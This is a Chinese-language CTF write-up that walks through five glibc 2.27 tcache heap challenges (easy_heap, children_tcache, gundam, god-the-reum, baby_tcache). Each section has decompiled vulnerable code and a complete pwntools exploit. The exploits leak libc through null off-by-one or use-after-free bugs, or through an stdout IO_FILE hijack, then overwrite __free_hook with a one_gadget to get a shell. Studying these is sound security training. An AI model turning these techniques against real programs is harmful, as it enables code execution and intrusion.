tcache下的几道pwn题

最近在刷题,这里做几道跟tcache机制相关的题目。

下载地址

LCTF2018 easy_heap

防护机制:

1
2
3
4
5
6
7
☁  easy_heap  checksec easy_heap 
[*] '/home/zs0zrc/pwn/tcache/easy_heap/easy_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序很简单,一共有三个功能

1
2
3
1.malloc
2.free
3.put

漏洞在malloc功能里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned __int64 create()
{
__int64 v0; // rbx
__int64 v2; // [rsp+0h] [rbp-20h]
int v3; // [rsp+0h] [rbp-20h]
unsigned int size; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-18h]

v5 = __readfsqword(0x28u);
LODWORD(v2) = 0;
while ( v2 <= 9 && *(0x10LL * v2 + buf) )
LODWORD(v2) = v2 + 1;
if ( v2 == 10 )
{
puts("full!");
}
else
{
v0 = buf;
*(v0 + 16LL * v2) = malloc(0xF8uLL);
if ( !*(16LL * v2 + buf) )
{
puts("malloc error!");
exits();
}
printf("size \n> ", v2);
size = read_int();
if ( size > 0xF8 )
exits();
*(16LL * v3 + buf + 8) = size;
printf("content \n> ");
read_content(*(16LL * v3 + buf), *(16LL * v3 + buf + 8));
}
return __readfsqword(0x28u) ^ v5;
}

这里在读content时有一个null offbyone漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 __fastcall read_content(_BYTE *buf, int size)
{
unsigned int v3; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
v3 = 0;
if ( size )
{
while ( 1 )
{
read(0, &buf[v3], 1uLL);
if ( size - 1 < v3 || !buf[v3] || buf[v3] == 10 )
break;
++v3;
}
buf[v3] = 0; // null offbyone
buf[size] = 0;
}
else
{
*buf = 0;
}
return __readfsqword(0x28u) ^ v4;
}

利用思路:

程序存在null offbyone漏洞,libc版本是2.27,存在tcache机制。所以先free7个chunk将tcache填满,之后的chunk就会进入unsorted bin中。然后利用null offbyone在free时触发unlink向前合并,就可以泄露出libc地址。最后利用tcache_dup,分配包含_free_hook的chunk,向__free_hook中写入one_gadget来getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import*

context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

target = './easy_heap'
p = process(target)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def new(size,data):
p.recv()
p.sendline("1")
p.recvuntil("> ")
p.sendline(str(size))
p.recvuntil("> ")
p.sendline(data)

def free(idx):
p.recv()
p.sendline("2")
p.recvuntil("> ")
p.sendline(str(idx))

def put(idx):
p.recv()
p.sendline("3")
p.recvuntil("> ")
p.sendline(str(idx))


for i in range(10):
new(0x20,"\n")


free(1) # 6
free(3) # 5
for i in range(5,10):
free(i)

free(0)
free(2)
free(4)

for i in range(7):
new(0x20,"\n")

new(0x20,"\n") #chunk_7
new(0xf8,"\n") #chunk_8 null offbyone chunk_5

for i in range(5):
free(i)

free(6) #fill tcache
free(5) #unlink , put into unsorted bin

put(8)
leak = u64(p.recv(8)[0:6].ljust(8,'\x00'))
libc_base = leak - libc.symbols['__malloc_hook'] - 0x10 - 88
libc.address= libc_base

free_hook = libc.symbols['__free_hook']
one_gadget = 0xfccde + libc_base
log.info("libc_base {}".format(hex(libc_base)))

for i in range(7):
new(0x20,"\n")

new(0x20,"\n") #chunk_9 和 chunk_8 指向同一个地址

free(0) #确保后面可以分配三个chunk
free(8)
free(9) #double free

new(0x20,p64(free_hook))
new(0x20,"\n")
new(0x20,p64(one_gadget))

free(1)
p.interactive()

hitcon2018 children_tcache

防护机制:

1
2
3
4
5
6
7
8
☁  public  checksec children_tcache 
[*] '/home/zs0zrc/pwn/tcache/children_tcache/public/children_tcache'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

程序漏洞点在new heap功能里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 create()
{
signed int i; // [rsp+Ch] [rbp-2034h]
char *dest; // [rsp+10h] [rbp-2030h]
unsigned __int64 size; // [rsp+18h] [rbp-2028h]
char s; // [rsp+20h] [rbp-2020h]
unsigned __int64 v5; // [rsp+2038h] [rbp-8h]

v5 = __readfsqword(0x28u);
memset(&s, 0, 0x2010uLL);
for ( i = 0; ; ++i )
{
if ( i > 9 )
{
puts(":(");
return __readfsqword(0x28u) ^ v5;
}
if ( !chunk_add[i] )
break;
}
printf("Size:");
size = read_int();
if ( size > 0x2000 )
exit(-2);
dest = malloc(size);
if ( !dest )
exit(-1);
printf("Data:");
read_data(&s, size);
strcpy(dest, &s); // null offbyone
chunk_add[i] = dest;
chunk_size[i] = size;
return __readfsqword(0x28u) ^ v5;
}

这里存在一个null offbyOne 漏洞。原因是strcpy复制字符串时会将null字节一起复制。这里malloc可以分配大小在0x2000以下的chunk,最多分配十个。这一题比较简单。

利用思路:

因为可以控制分配的chunk的大小,所以可以分配大小超过0x400的chunk,这超出了tcache的范围,所以不会被放入tcache中。构造好堆的布局,两个大小大于0x400的chunk中间要夹着一个在tcache范围的chunk。假设这三个chunk分别为chunk1、2、3。先free掉chunk1,然后通过chunk2利用null offbyOne 将chunk3的prev_size和prev_inuse清空。然后将chunk3的prev_size字段设为 chunk1+chunk2的size的和,free掉chunk3。就会触发unlink向前合并,合并后的chunk会加入unsorted bin中,这时分配一个大小为chunk1的chunk,则会从合并的chunk中分割出来,并且向chunk2中写如unsorted bin的地址,通过chunk2就可以泄露出libc地址。最后利用tcache_dup 往__free_hook里写入one_gadget来getshell。具体的看代码。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import*

context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

p = process('./children_tcache')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def new(size,content):
p.recv()
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)

def free(idx):
p.recv()
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))

def put(idx):
p.recv()
p.sendline("2")
p.recvuntil(":")
p.sendline(str(idx))

new(0x410,"a")
new(0x28,"a"*0x28)
new(0x5f0,"a")
new(0x20,"a") #gap top chunk

free(0)
free(1)

#clear chunk_2 prev_size and prev_inuse
for i in range(9):
new(0x28-i,"a"*(0x28-i))
free(0)

new(0x28,"a"*0x20 + p64(0x420+0x30)) #0
free(2) #trigger unlink
new(0x410,"a") #1 malloc(0x410) then unsorted add will write in 0
put(0)

leak = u64(p.recv(8)[:6].ljust(8,'\x00'))
libc_base = leak - libc.symbols['__malloc_hook'] - 0x10 - 88
libc.address = libc_base
free_hook = libc.symbols['__free_hook']
one_gadget = 0xfccde + libc_base
log.info("libc_base {}".format(hex(libc_base)))

new(0x28,"\n") #2
free(0)
free(2)

new(0x28,p64(free_hook))
new(0x28,"\n")
new(0x28,p64(one_gadget))

free(1)
p.interactive()

hitbxctf2018 gundam

防护机制:

1
2
3
4
5
6
7
☁  gumdam  checksec gundam 
[*] '/home/zs0zrc/pwn/tcache/gumdam/gundam'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

这一道题比前面两道都要简单一点,程序主要功能有4个

1
2
3
4
1.build_gundam
2.visit
3.destory
4.blow up the factory

漏洞出现在destory功能中,它将chunk释放后没有将相应的指针清空,导致了UAF。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 destory()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( count )
{
printf("Which gundam do you want to Destory:");
__isoc99_scanf("%d", &v1);
if ( v1 > 8 || !array[v1] )
{
puts("Invalid choice");
return 0LL;
}
*array[v1] = 0; // UAF
free(*(array[v1] + 8LL));
}
else
{
puts("No gundam");
}
return 0LL;
}

利用思路:

先利用visit功能泄露出libc地址。泄露地址前要先将tcache填满,不然chunk不会进入unsorted bin中。泄露出libc地址后可以用tcache_dup,往_free_hook中写入one_gadget。具体的细节看exp。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import*

context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

target = './gundam'
p = process(target)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def build(name,type):
p.recv()
p.sendline("1")
p.recv()
p.send(name)
p.recv()
p.sendline(str(type))

def visit():
p.recvuntil("Your choice : ")
p.sendline("2")

def destory(idx):
p.recv()
p.sendline("3")
p.recv()
p.sendline(str(idx))

def blow_up():
p.recvuntil("Your choice : ")
p.sendline("4")


for i in range(9):
build("aaaa",1)

for i in range(2,9):
destory(i)

destory(0) #unsorted
destory(1)
blow_up()

for i in range(7):
build("aaaa",1)

build("bbbbbbbb",1) #7
build("aaaaaaaa",1) #8

visit()
p.recvuntil("bbbbbbbb")
leak = u64(p.recv(8)[:6].ljust(8,'\x00'))
log.info("leak ==>{}".format(hex(leak)))
libc_base = leak - 0x3dac78
libc.address = libc_base
free_hook = libc.symbols['__free_hook']
one_gadget = 0xfccde + libc_base

log.info("libc_base ==> {}".format(hex(libc_base)))

destory(6) #为了后面tcache_dup可以分配三个chunk,所以要释放掉两个chunk
destory(5)
destory(7)
destory(7) #double free

blow_up()
build(p64(free_hook),1) #tcache_dup
build("aaaa",1)
build(p64(one_gadget),1)

destory(0)
p.interactive()

CodegateCTF2019 god-the-reum

防护机制:

1
2
3
4
5
6
7
☁  god-the-reum  checksec god-the-reum 
[*] '/home/zs0zrc/pwn/tcache/god-the-reum/god-the-reum'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

简单的逆了下,主要看main、create、withdraw还有那个developer的功能

main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // ST18_4
int v4; // ST18_4
int v6; // ST18_4
char array[88]; // [rsp+20h] [rbp-60h]
unsigned __int64 v8; // [rsp+78h] [rbp-8h]
__int64 savedregs; // [rsp+80h] [rbp+0h]

v8 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
menu();
while ( getchar() != 10 )
;
switch ( &savedregs )
{
case 1u:
create(&array[16 * count]);
break;
case 2u:
v3 = get_idx();
deposit(&array[16 * v3]);
break;
case 3u:
v4 = get_idx();
withdraw(&array[16 * v4]);
break;
case 4u:
show(array, 0LL);
break;
case 5u:
puts("bye da.");
return 0LL;
case 6u:
v6 = get_idx();
sub_1092(&array[16 * v6]);
break;
default:
sub_11B3();
break;
}
}
}

它用一个char数组来存储分配的wallet。每个wallet包含一个随机生成的add 和 一个用来存储eth的chunk。

create函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned __int64 __fastcall create(void **a1)
{
char *v1; // rax
unsigned int v2; // eax
char v4; // [rsp+13h] [rbp-1Dh]
char v5; // [rsp+13h] [rbp-1Dh]
signed int i; // [rsp+14h] [rbp-1Ch]
size_t size; // [rsp+18h] [rbp-18h]
void *s; // [rsp+20h] [rbp-10h]
unsigned __int64 v9; // [rsp+28h] [rbp-8h]

v9 = __readfsqword(0x28u);
s = malloc(0x82uLL); //用于存储随机生生成的addr
if ( !s || count > 4 ) //最多分配4个wallet
{
puts("wallet creation failed");
exit(0);
}
memset(s, 0, 0x82uLL);
v1 = s + strlen(s);
*v1 = 30768;
v1[2] = 0;
v2 = time(0LL);
srand(v2);
for ( i = 0; i <= 39; ++i ) //利用rand随机生成addr
{
v4 = rand() % 15;
if ( v4 > 9 )
v5 = rand() % 6 + 97;
else
v5 = v4 + 48;
*(s + i + 2) = v5;
}
*a1 = s;
printf("how much initial eth? : ", 0LL);
__isoc99_scanf("%llu", &size);
a1[1] = malloc(size); //存储eth的chunk大小没有限制
if ( a1[1] )
*a1[1] = size;
++count;
sub_119B();
puts("Creating new wallet succcess !\n");
sub_FD5(*a1, a1[1]);
putchar(10);
return __readfsqword(0x28u) ^ v9;
}

withdraw功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 __fastcall withdraw(__int64 a1)
{
__int64 v2; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("how much you wanna withdraw? : ");
__isoc99_scanf("%llu", &v2);
**(a1 + 8) -= v2; //将wallet的eth减少
if ( !**(a1 + 8) ) //如果wallet的eth为0,就将它的chunk释放掉
free(*(a1 + 8)); // 这里存在UAF,因为它没检查chunk是否释放过了
puts("withdraw ok !\n");
return __readfsqword(0x28u) ^ v3;
}

developer功能:

1
2
3
4
5
6
7
8
9
__int64 __fastcall developer(__int64 a1)
{
sub_119B();
puts("this menu is only for developer");
puts("if you are not developer, please get out");
sleep(1u);
printf("new eth : ");
return __isoc99_scanf("%10s", *(a1 + 8)); // 修改wallet的eth,可以通过这个来修改被释放的wallet的fd指针
}

利用思路:

先分配一个大于tcache范围的wallet,利用它来泄露出libc地址。然后利用tcache_dup修改_free_hook 为one_gadget。这里的tcache_dup可以利用developer功能,直接修改tcache_chunk的fd指针。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import*

context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

target = './god-the-reum'
p = process(target)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def create(eth):
p.recv()
p.sendline("1")
p.recv()
p.sendline(str(eth))

def deposit(idx,eth):
p.recv()
p.sendline("2")
p.recv()
p.sendline(str(idx))
#p.recv()
p.sendline(str(eth))

def withdraw(idx,eth):
p.recv()
p.sendline("3")
p.recv()
p.sendline(str(idx))
p.recv()
p.sendline(str(eth))

def show():
p.recv()
p.sendline("4")

def cheth(idx,eth):
p.recv()
p.sendline("6")
p.recv()
p.sendline(str(idx))
p.recv()
p.sendline(str(eth))


create(0x500)#0
create(0x80)#1

withdraw(0,0x500)#free 0
show()
p.recvuntil("ballance")
leak = int(p.recv(16),10)
libc_base = leak - libc.symbols['__malloc_hook'] - 0x10 - 88
libc.address = libc_base
free_hook = libc.symbols['__free_hook']
one_gadget = 0xfccde + libc_base

log.info("libc_base ==> {}".format(hex(libc_base)))
log.info("free_hook ==> {}".format(hex(free_hook)))

withdraw(1,0x80)
cheth(1,p64(free_hook)) #change fd

create(0x80)#2 free_hook

p.recv()
p.sendline("6")
p.recv()
p.sendline("2")
p.recv()
p.sendline(p64(one_gadget)) #write free_hook

create(0x80)#3
withdraw(3,0x80)

p.interactive()

hitcon2018 baby_tcache

防护机制:

1
2
3
4
5
6
7
8
☁  baby_tcache  checksec baby_tcache 
[*] '/home/zs0zrc/pwn/tcache/baby_tcache/baby_tcache'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

漏洞点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int	create()
{
_QWORD *v0; // rax
signed int i; // [rsp+Ch] [rbp-14h]
_BYTE *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 size; // [rsp+18h] [rbp-8h]

for ( i = 0; ; ++i )
{
if ( i > 9 )
{
LODWORD(v0) = puts(":(");
return (signed int)v0;
}
if ( !chunk_add[i] )
break;
}
printf("Size:");
size = sub_B27();
if ( size > 0x2000 )
exit(-2);
v3 = malloc(size);
if ( !v3 )
exit(-1);
printf("Data:");
sub_B88((__int64)v3, size);
v3[size] = 0; // nulL offbyOne
chunk_add[i] = v3;
v0 = chunk_size;
chunk_size[i] = size;
return (signed int)v0;
}

这道题的漏洞点和children_tcache一样,具体的做法和children_tcache差不多,都是通过null offbyOne漏洞 构造overlapping chunk。但是这题少了输出功能,所以要想办法泄露libc。这里泄露libc的涉及到了IO_FILE的利用,通过修改 puts函数工作过程中stdout 结构体中的 _IO_write_base ,来达到泄露libc地址信息的目的。

简单的分析下puts函数的函数调用链

puts函数在源码中是由 _IO_puts实现的,而 _IO_puts 函数内部会调用 _IO_sputn,结果会执行 _IO_new_file_xsputn,最终会执行 _IO_overflow

_IO_puts源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);

if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);

_IO_release_lock (_IO_stdout);
return result;
}

_IO_new_file_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
......
......
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base); //目标
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}

可以发现_IO_do_write是最后调用的函数, 而 _IO_write_base 是我们要修改的目标。这里f-> _flags & _IO_NO_WRITES的值应该是0,同时使 f-> _flags & _IO_CURRENTLY_PUTTING 的值为1,避免执行不必要的代码。

_IO_do_write函数的参数为stdout结构体、 _IO_write_base 和要打印的size。而 _IO_do_write实际会调用 new_do_write,参数一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); //最终输出
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}

其中_IO_SYSWRITE 就是我们的目标,这相当于 write(fp , data, to_do)。 _IO_SYSSEEK只是简单的调用lseek,但是我们不能完全控制fp-> _IO_write_base - fp-> _IO_read_end 的值。如果 fp-> _IO_read_end的值设为0,那么 _IO_SYSSEEK的第二个参数的值就会过大。如果设置fp-> _IO_write_base = fp-> _IO_read_end 的话,那么在其他地方就会有问题,因为fp-> _IO_write_base 不能大于fp-> _IO_write_end 。所以这里要 设置fp- _flags | _IO_IS_APPENDING,避免进入else if分支中。

IO_FILE 的flags标志的一些宏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000

_flags=_IO_MAGIC+_IO_CURRENTLY_PUTTING+_IO_IS_APPENDING+(_IO_LINKED)

_flags=0xfbad1800 or 0xfbad1880 或者再加一些其他不影响leak的_flags

_flag的构造满足的条件:

1
2
3
4
_flags = 0xfbad0000  
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800

IO_FILE的部分就差不多这么多了,下面要解决怎么劫持stdout的问题。

劫持stdout利用的是null offbyOne构造overlapping chunk,往tcache中的chunk写入 main_arena + 88。然后利用double free,partial overwrite fd指针的后两位,使tcache中chunk的fd指针指向stdout。最后分配到包含stdout的chunk,就可以修改stdout结构体了。这个partial overwrite需要爆破,日常非洲人,爆破到怀疑人生。通过stdout结构体泄露出libc地址后就是常规做法了,利用tcache_dup 往__free_hook 中写入one_gadget来getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import*
#context.log_level = "debug"
context.terminal =["tmux","splitw","-h"]
#p = process('./baby_tcache')


def new(content,size):
p.recvuntil("Your choice: ")
p.sendline('1')
p.recvuntil("Size:")
p.sendline(str(size))
p.recvuntil("Data:")
p.send(content)

def delete(idx):
p.recvuntil("Your choice: ")
p.sendline('2')
p.recv()
p.sendline(str(idx))

def exp():
new("aaaa",0x410)#0
new("cccc",0x70)#1
new("dddd",0x5f0)#2
new("eeee",0x30)#3

delete(0)
delete(1)

new("a"*0x70 + p64(0x420+0x80),0x78) #0

delete(2)# trigger
delete(0)

new("aaaa",0x410)#0

new('\x20\xb7',0x88)#1 change tcache->fd to stdout
new('a',0x78)#2

fake_file = p64(0xfbad1800) + p64(0)*3 + "\x00"
new(fake_file,0x78)#4

data = p.recv(0x20)
leak = u64(data[0x18:]) #0x7f0000000000

if leak&0x7f0000000000==0x7f0000000000: #判断是否成功修改stdout,泄露出地址
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
log.info("leak_add ==> {}".format(hex(leak)))
libc_base = leak - libc.symbols['_IO_file_jumps']
libc.address = libc_base
free_hook = libc.symbols['__free_hook']
one_gadget = 0xfccde + libc_base
log.info("libc_base ==> {}".format(hex(libc_base)))
delete(1)
delete(2) #tcache_dup
new(p64(free_hook),0x88)
new('\n',0x88)
new(p64(one_gadget),0x88)
delete(3)
p.interactive()
else:
p.close()

if __name__ == '__main__':
while True:
try:
p = process('./baby_tcache')
exp()
except Exception as e:
p.close()
continue